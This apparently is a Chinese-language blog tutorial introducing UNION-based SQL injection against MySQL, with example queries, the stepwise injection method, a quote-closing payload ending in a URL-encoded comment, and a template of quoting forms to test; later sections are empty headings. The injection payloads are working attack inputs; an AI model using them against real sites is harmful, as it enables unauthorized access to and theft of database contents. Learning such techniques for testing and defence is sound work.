sql注入:从入门到入土
(全文以MySQL为例)
一.联合注入
1. 简单原理
在sql的查询语句中,union,是一个极度危险的函数。
其会将后面的语句作为sql命令执行,拼接到前面正常的结果集后。
例子:
select * from usr union select 1,2;
+------+-------+
| id | name |
+------+-------+
| 1 | admin |
| 2 | text1 |
| 3 | lisi |
| 4 | gest |
| 1 | 2 |
+------+-------+
1,2表头被拼接起来(这里的1,2实际上不存在)
那么加上恶意的查询
select * from usr union select * from home;
+------+---------------------+
| id | name |
+------+---------------------+
| 1 | admin |
| 2 | text1 |
| 3 | lisi |
| 4 | gest |
| 1 | flag{ye is watch u} |
+------+---------------------+
很明显,命令被执行了。
当然这只是理想情况,在实际的开发环境中我们几乎不可能知道这个表有几行几列,这个表叫什么,查询语句的格式等等……
而正因为如此,其为我们进行漏洞注入提供了思路。
2. 联合注入的步骤
- 判断数据类型
- 查列数
- 却定字段的位置
- 查表名
- 查列名
- 获取数据
先根据以下语句的变化进行一个简单的理解:
select * from users where id=$id
-- 一般情况下,查询语句的where条件里对于列或表的表述的参数都是变量,一般是接受用户的get或post请求
-- 而对于该变量的格式又有多种:
id="$id"
id=("$id")
id='1'
我们拿id=’1’来举例子
select * from users where id='1';
-- 1是客户端post传值给ssqqll的值
-- 如果: ssqqll = 1 union select 1,2 from home;
select * from users where id='1 union select 1,2 from home;';
-- 由于php弱比较,会先将不同类型的给是转化成相同,像此处,php会将字符串逐一遍历来得到数字,得到1,所以注入失效了。
-- 但是要是我传参 ssqqll = 1' union select 1,2 from home;#(这里的#要url编码为%23,否则则会表示特殊锚点)
select * from users where id='1' union select 1,2 from home;#';
+------+---------------------+
| id | name |
+------+---------------------+
| 1 | admin |
| 2 | text1 |
| 3 | lisi |
| 4 | gest |
| 1 | flag{ye is watch u} |
+------+---------------------+
最后,前方的‘1’闭合完成语句,后方把不符合语法的多余部分注释掉,完成联合注入
ok,我们回到正题,首先第一步:
判断数据类型,其实就是通过测试包错来试出他的包裹结构
还记得上面的例子吗,包裹一共最基本也就4种形态
不外乎(1), ‘1’ ,”1” ,1 。
当然这些都是可以相互嵌套的,能整出很多花样
一个例子,抑或是一个思路
-- 当我们传参?id=1时,有
MYSql Test
ID Username
1 admin
-- ?id=1'
无法取得数据: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1''' at line 1
好,重点来了,根据报错信息,是出现了’1’’,所以断定为’1’包裹。
当然,有的情况是报错不会给出这么详细或是干脆没有报错。并不碍事,照着刚才的思路,先根据四种基本包裹一步一步慢慢排除
这里给一个模板,以后做手注盘判断时可以直接拿来用
- select * from users where id= 1
- select * from users where id=’1’
- select * from users where id=(‘1’)
- select * from users where id=”‘1’”
- select * from users where id=(1)
- select * from users where id=((‘1’))
- select * from users where id=(“‘1’”)
- select * from users where id=”1”
慢慢试,排除哪个就注释哪个(后面我们学到sqlmap时就不用这么麻烦了,这么做更多的是锻炼思维)
二.
1.
2.
3.
三.
1.
2.
3.
四.
1.
2.
3.
五.
1.
2.
3.
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来源 天下同春!